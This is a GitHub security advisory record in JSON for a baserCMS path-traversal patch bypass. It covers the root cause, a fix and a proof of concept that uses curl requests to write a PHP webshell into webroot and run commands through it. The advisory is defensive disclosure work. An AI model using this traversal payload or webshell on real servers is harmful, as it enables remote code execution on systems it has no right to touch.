{"id":"GHSA-2pj4-v76f-wjvx","summary":"baserCMS: Path Traversal Bypass via realpath() in BcThemeFileService (CVE-2026-30940 Patch Bypass)","details":"### Summary\n\nThe security patch introduced in baserCMS 5.2.3 to address CVE-2026-30940 / [GHSA-c5c6-37vq-pjcq](https://github.com/baserproject/basercms/security/advisories/GHSA-c5c6-37vq-pjcq) is **incomplete**. The patch added a `realpath()`-based directory traversal check in `BcThemeFileService::getFullpath()`, but the check is **entirely skipped** when `realpath($baseDir)` returns `false` — which occurs whenever the target subdirectory does not physically exist on disk.\n\nAn authenticated administrator can bypass the patch by supplying a `type` value (e.g., `js`) that maps to a non-existent directory in the theme. The absence of the directory causes `realpath()` to return `false`, the validation block is skipped, and the raw `path` parameter containing `../` sequences is returned unvalidated. This enables arbitrary file write and remote code execution (RCE) — the exact same impact as the original CVE.\n\n**This vulnerability was verified exploitable on baserCMS 5.2.3 (the \"patched\" version of CVE-2026-30940).**\n\n### Details\n\nThe vulnerability exists in `BcThemeFileService::getFullpath()` at [`plugins/bc-theme-file/src/Service/BcThemeFileService.php` lines 70–82](https://github.com/baserproject/basercms/blob/5.2.x/plugins/bc-theme-file/src/Service/BcThemeFileService.php#L70):\n\n```php\npublic function getFullpath(string $theme, string $plugin, string $type, string $path)\n{\n    // ...build $baseDir and $fullPath from $theme, $type, $path...\n    $baseDir  = $viewPath . $type . DS;      // e.g. .../BcThemeSample/webroot/js/\n    $fullPath = $baseDir  . $path;           // e.g. .../webroot/js/../../../../webroot/\n\n    $resolvedBase = realpath($baseDir);\n    if ($resolvedBase !== false) {           // ← BYPASS: entire block skipped when dir absent\n        $resolvedBase = rtrim($resolvedBase, DS) . DS;\n        $targetDir = realpath(dirname($fullPath));\n        if ($targetDir === false) {\n            $targetDir = $this-\u003enormalizePath(dirname($fullPath));\n        }\n        if (!str_starts_with(rtrim($targetDir, DS) . DS, $resolvedBase)) {\n            throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));\n        }\n    }\n\n    return $fullPath;   // ← Returns unvalidated path when realpath returns false\n}\n```\n\n**Root cause — the bypass condition:**\n\n| `realpath($baseDir)` result | Behavior |\n|-----------------------------|----------|\n| Valid path string (dir **exists**) | Validation runs → `../` traversal **blocked** ✓ |\n| `false` (dir does **not** exist) | Validation **skipped entirely** → `../` traversal **allowed** ✗ |\n\n**Difference from CVE-2026-30940 (original bug):**\n\n| | CVE-2026-30940 (≤ 5.2.2) | This bypass (5.2.3) |\n|--|--|--|\n| Validation | None at all | `realpath()` check — but conditional |\n| `type` needed | Any valid type (`layout`, `cell`, …) | Must map to a **non-existent** subdirectory |\n| `path` blocked | Never | Only when target dir already exists |\n| Root cause | Missing validation | `if ($resolvedBase !== false)` skips false case |\n\n### PoC\n\n**Prerequisites:**\n- baserCMS 5.2.3 (the officially patched version of CVE-2026-30940)\n- Admin credentials\n- `USE_CORE_ADMIN_API=true` in `.env`\n- BcThemeFile plugin installed and BcThemeSample theme loaded\n\n**Step 1 — Login and obtain JWT token:**\n\n```bash\ncurl -s -X POST \"http://localhost/baser/api/admin/baser-core/users/login.json\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"email\":\"admin@example.com\",\"password\":\"password\"}'\n# Response: {\"access_token\":\"eyJ0eXA...\",\"refresh_token\":\"eyJ0eXA...\"}\n```\n\n**Step 2 — Verify bypass condition (webroot/js/ must not exist):**\n\nThe bypass requires `type=js` to map to a non-existent directory. Confirm:\n\n```bash\n# webroot/js/ does NOT exist → realpath() returns false → validation SKIPPED\nls plugins/BcThemeSample/webroot/\n# Expected output: css  img   (no js/)\n```\n\n**Step 3 — Exploit: write PHP webshell directly to webroot:**\n\nPath calculation from `baseDir = .../BcThemeSample/webroot/js/`:\n- `js/` (1 up) → `webroot/`\n- `webroot/` (2 up) → `BcThemeSample/`\n- `BcThemeSample/` (3 up) → `plugins/`\n- `plugins/` (4 up) → `/var/www/html/` + `webroot/`\n- Result: `../../../../webroot/` → `/var/www/html/webroot/`\n\n```bash\nTOKEN=\"eyJ0eXA...\"   # from step 1\n\ncurl -s -X POST \"http://localhost/baser/api/admin/bc-theme-file/theme_files/add.json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"theme\":    \"BcThemeSample\",\n    \"plugin\":   \"\",\n    \"type\":     \"js\",\n    \"path\":     \"../../../../webroot/\",\n    \"base_name\":\"rce_direct\",\n    \"ext\":      \"php\",\n    \"contents\": \"\u003c?php echo shell_exec($_GET[\\\"c\\\"]); ?\u003e\"\n  }'\n# Response: HTTP 200 {\"message\":\"ファイル「rce_direct.php」を作成しました。\",...}\n```\n\n**Step 4 — Execute RCE:**\n\n```bash\ncurl \"http://localhost/rce_direct.php?c=id\"\n# Output: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)\n```\n\n**Verified output (Docker, baserCMS 5.2.3):**\n\n```\n=RCE_DIRECT=uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)\n```\n### Impact\n\nAn authenticated administrator can achieve remote code execution by writing an arbitrary PHP file to any directory accessible by the web server — including `webroot/`, `config/`, or `tmp/`. This is the identical impact as CVE-2026-30940, rendering the 5.2.3 patch ineffective.\n\nThe vulnerability is particularly significant because:\n\n1. **Patch bypass:** Operators and users who upgraded to 5.2.3 specifically to address CVE-2026-30940 remain vulnerable.\n2. **Arbitrary directory write:** The bypass allows writing to `webroot/` (directly HTTP-accessible), `config/` (application configuration), or any other directory writable by the PHP process.\n3. **File deletion and overwrite:** Beyond RCE, the attacker can delete or overwrite critical files, causing denial of service or persistent backdoors.\n4. **One-shot per non-existent directory:** The exploit creates the target directory as a side effect. Rotating to other unused `type` values (e.g., `font`, `audio`, any arbitrary string) restores the bypass condition.\n\n**CVSS v3.1:** `AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` — Score: **7.2 (High)**  \nSame as CVE-2026-30940 — attack complexity is unchanged by the incomplete patch.\n\n### Recommended Fix\n\nThe patch must validate the path **unconditionally**, regardless of whether `$baseDir` exists on disk. Replace the `realpath()`-conditional block with `normalizePath()` (already defined in the same class):\n\n```php\n// CURRENT (vulnerable — skips validation when $baseDir does not exist)\n$resolvedBase = realpath($baseDir);\nif ($resolvedBase !== false) {\n    // ... validation only runs here ...\n}\nreturn $fullPath;\n\n// FIXED — always validate using normalizePath()\n$normalizedBase   = rtrim($this-\u003enormalizePath($baseDir),            DS) . DS;\n$normalizedTarget = rtrim($this-\u003enormalizePath(dirname($fullPath)),  DS) . DS;\n\nif (!str_starts_with($normalizedTarget, $normalizedBase)) {\n    throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));\n}\nreturn $fullPath;\n```\n\nAdditionally, the `path` and `ext` parameters should be validated at the API controller layer:\n\n```php\n// In ThemeFilesController — validate before calling getFullpath()\nif (preg_match('/\\.\\./', $data['path'])) {\n    throw new BcException('Invalid path parameter.');\n}\nif (!preg_match('/^[a-zA-Z0-9]+$/', $data['ext'])) {\n    throw new BcException('Invalid extension.');\n}\n```\n\n### References\n\n- [GHSA-c5c6-37vq-pjcq — Original CVE-2026-30940 advisory](https://github.com/baserproject/basercms/security/advisories/GHSA-c5c6-37vq-pjcq)\n- [CWE-22: Path Traversal](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-706: Use of Incorrectly-Resolved Name or Reference](https://cwe.mitre.org/data/definitions/706.html)\n- [OWASP Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n- `plugins/bc-theme-file/src/Service/BcThemeFileService.php` — `getFullpath()`, lines 70–82\n- `plugins/bc-theme-file/src/Form/ThemeFileForm.php` — `_execute()`, lines 64–69\n- `plugins/bc-theme-file/src/Controller/Api/Admin/ThemeFilesController.php` — `add()`, lines 38–60\n\n### Attribution\nReported by Nguy Minh Tuan of Sun* Cyber Security Research Team.","aliases":["CVE-2026-62955"],"modified":"2026-11-20T00:30:07.775924421Z","published":"2026-11-20T00:17:47Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-11-20T00:17:47Z","nvd_published_at":"2026-11-19T21:18:03Z","cwe_ids":["CWE-22"]},"references":[{"type":"WEB","url":"https://github.com/baserproject/basercms/security/advisories/GHSA-2pj4-v76f-wjvx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62955"},{"type":"WEB","url":"https://github.com/baserproject/basercms/commit/464227b8770704076ee6eddd4bd464c184786eca"},{"type":"WEB","url":"https://github.com/baserproject/basercms/commit/c650017acf5dfbfd15eb2f3eda07967bcb002be2"},{"type":"WEB","url":"https://github.com/baserproject/bc-theme-file/commit/a8f90096f13eca576a87cb25aa02e8f54642af7e"},{"type":"PACKAGE","url":"https://github.com/baserproject/basercms"},{"type":"WEB","url":"https://github.com/baserproject/basercms/releases/tag/5.3.0"}],"affected":[{"package":{"name":"baserproject/baser-core","ecosystem":"Packagist","purl":"pkg:composer/baserproject/baser-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.3.0"}]}],"versions":["5.0.0","5.0.0-beta2","5.0.0-beta3","5.0.0-beta4","5.0.1","5.0.10","5.0.11","5.0.14","5.0.15","5.0.16","5.0.17","5.0.18","5.0.19","5.0.2","5.0.20","5.0.21","5.0.3","5.0.4","5.0.5","5.0.6","5.0.7","5.0.8","5.1.0","5.1.1","5.1.10","5.1.2","5.1.3","5.1.4","5.1.5","5.1.6","5.1.7","5.1.8","5.1.9","5.2.0","5.2.1","5.2.10","5.2.2","5.2.3","5.2.4","5.2.5","5.2.5.1","5.2.6","5.2.7","5.2.8","5.2.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-2pj4-v76f-wjvx/GHSA-2pj4-v76f-wjvx.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"}]}